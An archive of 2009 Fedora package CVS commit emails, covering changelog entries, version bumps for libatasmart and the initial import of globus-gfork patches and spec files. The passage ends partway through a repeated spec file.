* Sun Mar 8 2009 Feng Yu <rainwoodman at gmail.com> - 0.7.4-4
- Remove the -common package, merge it to the main package.

* Sun Mar 8 2009 Feng Yu <rainwoodman at gmail.com> - 0.7.4-3
- Rename the applet/plugin subpackages according to https://bugzilla.redhat.com/show_bug.cgi?id=480279#c14

* Sun Mar 8 2009 Feng Yu <rainwoodman at gmail.com> - 0.7.4-2
- Changes according to https://bugzilla.redhat.com/show_bug.cgi?id=480279#c14
- Use *.h and _% dir in devel package.
- Requires pkgconfig in devel package.
- Added versions to sub-package requirements.
- Removed gnome-menus and gtk2 from requires
- Moved GConf2 requires to -common.
- Added ldconfig requires to -common.
- Merge gtkmodule to -common.
- Moved libgnomenu.so to -devel
- Added doc tag in common

* Sun Mar 8 2009 Feng Yu <rainwoodman at gmail.com>
- Update to version 0.7.4.
- Generate the versioned .spec file from .spec.in with configure

* Thu Feb 14 2009 Feng Yu <rainwoodman at gmail.com>
- Valentine's day. 
- Update to version (post) 0.7.3.
- Generate the versioned .spec file from .spec.in with configure
- Build on rhel5.

* Thu Jan 8 2009 Feng Yu <rainwoodman at gmail.com>
- Add XFCE4 plugin

* Thu Jan 8 2009 Feng Yu <rainwoodman at gmail.com>
- Spawn into sub packages.

* Wed Dec 17 2008 Feng Yu <rainwoodman at gmail.com>
- The module is ready for loaded/unloaded by GtkSettings. Because an issue with scim-bridge, the gconf key keeps disabling the module by default.

* Tue Dec 15 2008 Feng Yu <rainwoodman at gmail.com>
- gnome-settings-daemon for the module. (gconf-key: apps/gnome-settings-daemon/gtk-modules)

* Tue Dec 15 2008 Feng Yu <rainwoodman at gmail.com>
- vala 0.5.2

* Sun Dec 14 2008 Feng Yu <rainwoodman at gmail.com>
- GConf for applet 

* Sun Dec 10 2008 Feng Yu <rainwoodman at gmail.com>
- RGBA support for popup menus

* Sun Dec 5 2008 Feng Yu <rainwoodman at gmail.com>
- update to 0.7
- use the default vim template for spec files.

* Sun Oct 7 2008 Feng Yu <rainwoodman at gmail.com>
- installing libglobalmenu-gnome to gtk-2.0/modules

* Sun Oct 7 2008 Feng Yu <rainwoodman at gmail.com>
- Update to svn 1351
- Divide into sub packages

* Sun Oct 5 2008 Feng Yu <rainwoodman at gmail.com>
- Update to 0.6

* Sun Mar 23 2008 Feng Yu <rainwoodman at gmail.com>
- change to macros for building x86-64 rpms

* Fri Mar 14 2008 Feng Yu <rainwoodman at gmail.com>
- remove language pack
- move shared files to gnome-globalmenu

* Wed Mar 12 2008 Feng Yu <rainwoodman at gmail.com>
- Separated .gmo files
- Added description for packages.

* Sun Mar 9 2008 Feng Yu <rainwoodman at gmail.com>
- Properly install doc.
- Added French locale 

* Fri Mar 7 2008 Feng Yu <rainwoodman at gmail.com>
- Install doc
- Added depencency
- Added the mo file.
- distribute gtk2-aqd patch

* Fri Mar 5 2008 Feng Yu <rainwoodman at gmail.com>
- Enable schemas.

* Fri Feb 29 2008 Feng Yu <rainwoodman at gmail.com>
- Split into many sub packages.

* Mon Jan 14 2008 Feng Yu <rainwoodman at gmail.com>
- Added schema

* Wed Jan 09 2008 Feng Yu <rainwoodman at gmail.com>
- Added description

# vim:ts=4:sw=4








--- NEW FILE import.log ---
gnome-globalmenu-0_7_7_1-1_fc11:HEAD:gnome-globalmenu-0.7.7_1-1.fc11.src.rpm:1256608412


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-globalmenu/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	5 Oct 2009 02:55:05 -0000	1.1
+++ .cvsignore	27 Oct 2009 01:54:52 -0000	1.2
@@ -0,0 +1 @@
+gnome-globalmenu-0.7.7_1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-globalmenu/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	5 Oct 2009 02:55:05 -0000	1.1
+++ sources	27 Oct 2009 01:54:52 -0000	1.2
@@ -0,0 +1 @@
+dfb7fb431ca595c60eb8a9c03f2dd4d3  gnome-globalmenu-0.7.7_1.tar.bz2



From lennart at fedoraproject.org  Tue Oct 27 02:35:03 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Tue, 27 Oct 2009 02:35:03 +0000 (UTC)
Subject: rpms/libatasmart/devel libatasmart.spec,1.20,1.21
Message-ID: <20091027023504.08B8011C0264@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libatasmart/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7024

Modified Files:
	libatasmart.spec 
Log Message:
New upstream release


Index: libatasmart.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libatasmart/devel/libatasmart.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- libatasmart.spec	29 Sep 2009 03:44:18 -0000	1.20
+++ libatasmart.spec	27 Oct 2009 02:35:03 -0000	1.21
@@ -1,5 +1,5 @@
 Name: libatasmart
-Version: 0.16
+Version: 0.17
 Release: 1%{?dist}
 Summary: ATA S.M.A.R.T. Disk Health Monitoring Library
 Group: System Environment/Libraries
@@ -55,9 +55,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libatasmart.so
 %{_libdir}/pkgconfig/libatasmart.pc
 %{_datadir}/vala/vapi/atasmart.vapi
-%doc blob-examples/SAMSUNG* blob-examples/ST* blob-examples/Maxtor* blob-examples/WDC* blob-examples/FUJITSU* blob-examples/INTEL* blob-examples/TOSHIBA*
+%doc blob-examples/SAMSUNG* blob-examples/ST* blob-examples/Maxtor* blob-examples/WDC* blob-examples/FUJITSU* blob-examples/INTEL* blob-examples/TOSHIBA* blob-examples/MCC*
 
 %changelog
+* Tue Oct 27 2009 Lennart Poettering <lpoetter at redhat.com> 0.17-1
+- New upstream release
+- Fixes bug 491552
 
 * Tue Sep 29 2009 Lennart Poettering <lpoetter at redhat.com> 0.16-1
 - New upstream release



From lennart at fedoraproject.org  Tue Oct 27 02:36:36 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Tue, 27 Oct 2009 02:36:36 +0000 (UTC)
Subject: rpms/libatasmart/devel .cvsignore,1.17,1.18 sources,1.17,1.18
Message-ID: <20091027023636.CE02711C0264@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libatasmart/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7347

Modified Files:
	.cvsignore sources 
Log Message:
new release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libatasmart/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	29 Sep 2009 03:44:18 -0000	1.17
+++ .cvsignore	27 Oct 2009 02:36:36 -0000	1.18
@@ -1 +1 @@
-libatasmart-0.16.tar.gz
+libatasmart-0.17.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libatasmart/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	29 Sep 2009 03:44:18 -0000	1.17
+++ sources	27 Oct 2009 02:36:36 -0000	1.18
@@ -1 +1 @@
-165b9b8c228a30b4f9cb10f0e42f7b67  libatasmart-0.16.tar.gz
+dc36cadbbb7fa38f8af175713eda1a21  libatasmart-0.17.tar.gz



From lennart at fedoraproject.org  Tue Oct 27 02:43:43 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Tue, 27 Oct 2009 02:43:43 +0000 (UTC)
Subject: rpms/libatasmart/F-12 .cvsignore, 1.17, 1.18 libatasmart.spec, 1.20,
	1.21 sources, 1.17, 1.18
Message-ID: <20091027024343.29BE311C0264@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libatasmart/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9056

Modified Files:
	.cvsignore libatasmart.spec sources 
Log Message:
new release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libatasmart/F-12/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	29 Sep 2009 03:44:18 -0000	1.17
+++ .cvsignore	27 Oct 2009 02:43:42 -0000	1.18
@@ -1 +1 @@
-libatasmart-0.16.tar.gz
+libatasmart-0.17.tar.gz


Index: libatasmart.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libatasmart/F-12/libatasmart.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- libatasmart.spec	29 Sep 2009 03:44:18 -0000	1.20
+++ libatasmart.spec	27 Oct 2009 02:43:42 -0000	1.21
@@ -1,5 +1,5 @@
 Name: libatasmart
-Version: 0.16
+Version: 0.17
 Release: 1%{?dist}
 Summary: ATA S.M.A.R.T. Disk Health Monitoring Library
 Group: System Environment/Libraries
@@ -55,9 +55,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libatasmart.so
 %{_libdir}/pkgconfig/libatasmart.pc
 %{_datadir}/vala/vapi/atasmart.vapi
-%doc blob-examples/SAMSUNG* blob-examples/ST* blob-examples/Maxtor* blob-examples/WDC* blob-examples/FUJITSU* blob-examples/INTEL* blob-examples/TOSHIBA*
+%doc blob-examples/SAMSUNG* blob-examples/ST* blob-examples/Maxtor* blob-examples/WDC* blob-examples/FUJITSU* blob-examples/INTEL* blob-examples/TOSHIBA* blob-examples/MCC*
 
 %changelog
+* Tue Oct 27 2009 Lennart Poettering <lpoetter at redhat.com> 0.17-1
+- New upstream release
+- Fixes bug 491552
 
 * Tue Sep 29 2009 Lennart Poettering <lpoetter at redhat.com> 0.16-1
 - New upstream release


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libatasmart/F-12/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	29 Sep 2009 03:44:18 -0000	1.17
+++ sources	27 Oct 2009 02:43:42 -0000	1.18
@@ -1 +1 @@
-165b9b8c228a30b4f9cb10f0e42f7b67  libatasmart-0.16.tar.gz
+dc36cadbbb7fa38f8af175713eda1a21  libatasmart-0.17.tar.gz



From ellert at fedoraproject.org  Tue Oct 27 03:51:14 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Tue, 27 Oct 2009 03:51:14 +0000 (UTC)
Subject: rpms/globus-gfork/devel globus-gfork-etc.patch, NONE,
	1.1 globus-gfork-opts.patch, NONE,
	1.1 globus-gfork-undefined.patch, NONE, 1.1 globus-gfork.patch,
	NONE, 1.1 globus-gfork.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027035114.B0E5C11C0264@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gfork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21208/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gfork-etc.patch globus-gfork-opts.patch 
	globus-gfork-undefined.patch globus-gfork.patch 
	globus-gfork.spec import.log 
Log Message:
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file


globus-gfork-etc.patch:
 globus_gfork_server.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE globus-gfork-etc.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_server.c globus_gfork-0.2/globus_gfork_server.c
--- globus_gfork-0.2.orig/globus_gfork_server.c	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_server.c	2009-10-19 22:04:30.006108522 +0200
@@ -1551,7 +1551,8 @@
     if(gfork_l_options.conf_file == NULL)
     {
         gfork_l_options.conf_file = globus_common_create_string(
-            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION"));
+            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION") ?
+                                 globus_libc_getenv("GLOBUS_LOCATION") : "");
     }
     result = globus_options_xinetd_file_process(
         opt_h, gfork_l_options.conf_file, "gridftp");

globus-gfork-opts.patch:
 globus_gfork_opts.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gfork-opts.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_opts.c globus_gfork-0.2/globus_gfork_opts.c
--- globus_gfork-0.2.orig/globus_gfork_opts.c	2008-09-18 10:52:42.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_opts.c	2009-10-24 13:32:50.863112115 +0200
@@ -732,8 +732,8 @@
     {"master", "m", NULL, "<master program name>",
         "The name of the master program",
         1, gfork_l_opts_master},
-    {"master_args", "m", NULL, "<master program name>",
-        "The name of the master program",
+    {"master_args", "ma", NULL, "<arguments to the master>",
+        "List of arguments.  Comma seperated (or += if xinetd style)",
         1, gfork_l_opts_master_args},
     {"config_file", "c", NULL, NULL,
         "Print version information.",

globus-gfork-undefined.patch:
 Makefile.am |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE globus-gfork-undefined.patch ---
diff -ur globus_gfork-0.2.orig/Makefile.am globus_gfork-0.2/Makefile.am
--- globus_gfork-0.2.orig/Makefile.am	2006-12-07 23:24:55.000000000 +0100
+++ globus_gfork-0.2/Makefile.am	2009-09-14 15:49:55.973603339 +0200
@@ -22,8 +22,7 @@
 
 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_SOURCES = $(Sources)
 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LDFLAGS = $(GPT_LDFLAGS)
-libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = \
-    $(MODULE_LIBS) $(GPT_LIB_LINKS)
+libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = $(GPT_LIB_LINKS)
 
 sbin_PROGRAMS= \
     gfork

globus-gfork.patch:
 pkg_data_src.gpt.in |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE globus-gfork.patch ---
diff -ur globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in
--- globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in	2009-07-28 05:35:24.334708299 +0200
@@ -44,5 +44,3 @@
     </src_pkg>
 
 </gpt_package_metadata>
-~
-~


--- NEW FILE globus-gfork.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gfork
%global _name %(tr - _ <<< %{name})
Version:	0.2
Release:	3%{?dist}
Summary:	Globus Toolkit - GFork

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/gfork/source globus_gfork-0.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gfork-0.2
#		tar -zcf globus_gfork-0.2.tar.gz globus_gfork-0.2
Source:		%{_name}-%{version}.tar.gz
#		Remove some junk lines in the package description file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6812
Patch0:		%{name}.patch
#		Undefined make variable:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6857
Patch1:		%{name}-undefined.patch
#		Fix location of default config file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6875
Patch2:		%{name}-etc.patch
#		Fix cut & paste error in option description:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6879
Patch3:		%{name}-opts.patch

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-xio-devel%{?_isa} >= 2

%package progs
Summary:	Globus Toolkit - GFork Programs
Group:		Applications/Internet
Requires:	%{name}%{?_isa} = %{version}-%{release}

%package devel
Summary:	Globus Toolkit - GFork Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-xio-devel%{?_isa} >= 2

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GFork Library

%description progs
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-progs package contains:
GFork Programs - GFork is user configurable super-server daemon very similar
to xinetd. It listens on a TCP port. When clients connect to a port it runs an
administrator defined program which services that client connection, just as
x/inetd do.

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GFork Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1
%patch1 -p1
%patch2 -p1
%patch3 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Add empty default configuration file
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
echo "# This is the default gfork configuration file" > \
  $RPM_BUILD_ROOT%{_sysconfdir}/gfork.conf

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
  | sed s!^!%{_prefix}! > package-progs.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-progs.filelist progs
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/gfork.conf
%doc README.txt

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file

* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-2
- Include additional documentation

* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gfork-0_2-3_fc11:HEAD:globus-gfork-0.2-3.fc11.src.rpm:1256615453


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:14:09 -0000	1.1
+++ .cvsignore	27 Oct 2009 03:51:13 -0000	1.2
@@ -0,0 +1 @@
+globus_gfork-0.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:14:09 -0000	1.1
+++ sources	27 Oct 2009 03:51:13 -0000	1.2
@@ -0,0 +1 @@
+f5230d4520092e66dc307f83d93d65bb  globus_gfork-0.2.tar.gz



From ellert at fedoraproject.org  Tue Oct 27 03:53:09 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Tue, 27 Oct 2009 03:53:09 +0000 (UTC)
Subject: rpms/globus-gfork/F-12 globus-gfork-etc.patch, NONE,
	1.1 globus-gfork-opts.patch, NONE,
	1.1 globus-gfork-undefined.patch, NONE, 1.1 globus-gfork.patch,
	NONE, 1.1 globus-gfork.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027035309.7B98411C0264@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gfork/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21685/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gfork-etc.patch globus-gfork-opts.patch 
	globus-gfork-undefined.patch globus-gfork.patch 
	globus-gfork.spec import.log 
Log Message:
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file


globus-gfork-etc.patch:
 globus_gfork_server.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE globus-gfork-etc.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_server.c globus_gfork-0.2/globus_gfork_server.c
--- globus_gfork-0.2.orig/globus_gfork_server.c	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_server.c	2009-10-19 22:04:30.006108522 +0200
@@ -1551,7 +1551,8 @@
     if(gfork_l_options.conf_file == NULL)
     {
         gfork_l_options.conf_file = globus_common_create_string(
-            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION"));
+            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION") ?
+                                 globus_libc_getenv("GLOBUS_LOCATION") : "");
     }
     result = globus_options_xinetd_file_process(
         opt_h, gfork_l_options.conf_file, "gridftp");

globus-gfork-opts.patch:
 globus_gfork_opts.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gfork-opts.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_opts.c globus_gfork-0.2/globus_gfork_opts.c
--- globus_gfork-0.2.orig/globus_gfork_opts.c	2008-09-18 10:52:42.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_opts.c	2009-10-24 13:32:50.863112115 +0200
@@ -732,8 +732,8 @@
     {"master", "m", NULL, "<master program name>",
         "The name of the master program",
         1, gfork_l_opts_master},
-    {"master_args", "m", NULL, "<master program name>",
-        "The name of the master program",
+    {"master_args", "ma", NULL, "<arguments to the master>",
+        "List of arguments.  Comma seperated (or += if xinetd style)",
         1, gfork_l_opts_master_args},
     {"config_file", "c", NULL, NULL,
         "Print version information.",

globus-gfork-undefined.patch:
 Makefile.am |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE globus-gfork-undefined.patch ---
diff -ur globus_gfork-0.2.orig/Makefile.am globus_gfork-0.2/Makefile.am
--- globus_gfork-0.2.orig/Makefile.am	2006-12-07 23:24:55.000000000 +0100
+++ globus_gfork-0.2/Makefile.am	2009-09-14 15:49:55.973603339 +0200
@@ -22,8 +22,7 @@
 
 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_SOURCES = $(Sources)
 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LDFLAGS = $(GPT_LDFLAGS)
-libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = \
-    $(MODULE_LIBS) $(GPT_LIB_LINKS)
+libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = $(GPT_LIB_LINKS)
 
 sbin_PROGRAMS= \
     gfork

globus-gfork.patch:
 pkg_data_src.gpt.in |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE globus-gfork.patch ---
diff -ur globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in
--- globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in	2009-07-28 05:35:24.334708299 +0200
@@ -44,5 +44,3 @@
     </src_pkg>
 
 </gpt_package_metadata>
-~
-~


--- NEW FILE globus-gfork.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gfork
%global _name %(tr - _ <<< %{name})
Version:	0.2
Release:	3%{?dist}
Summary:	Globus Toolkit - GFork

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/gfork/source globus_gfork-0.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gfork-0.2
#		tar -zcf globus_gfork-0.2.tar.gz globus_gfork-0.2
Source:		%{_name}-%{version}.tar.gz
#		Remove some junk lines in the package description file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6812
Patch0:		%{name}.patch
#		Undefined make variable:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6857
Patch1:		%{name}-undefined.patch
#		Fix location of default config file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6875
Patch2:		%{name}-etc.patch
#		Fix cut & paste error in option description:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6879
Patch3:		%{name}-opts.patch

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-xio-devel%{?_isa} >= 2

%package progs
Summary:	Globus Toolkit - GFork Programs
Group:		Applications/Internet
Requires:	%{name}%{?_isa} = %{version}-%{release}

%package devel
Summary:	Globus Toolkit - GFork Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-xio-devel%{?_isa} >= 2

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GFork Library

%description progs
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-progs package contains:
GFork Programs - GFork is user configurable super-server daemon very similar
to xinetd. It listens on a TCP port. When clients connect to a port it runs an
administrator defined program which services that client connection, just as
x/inetd do.

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GFork Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1
%patch1 -p1
%patch2 -p1
%patch3 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
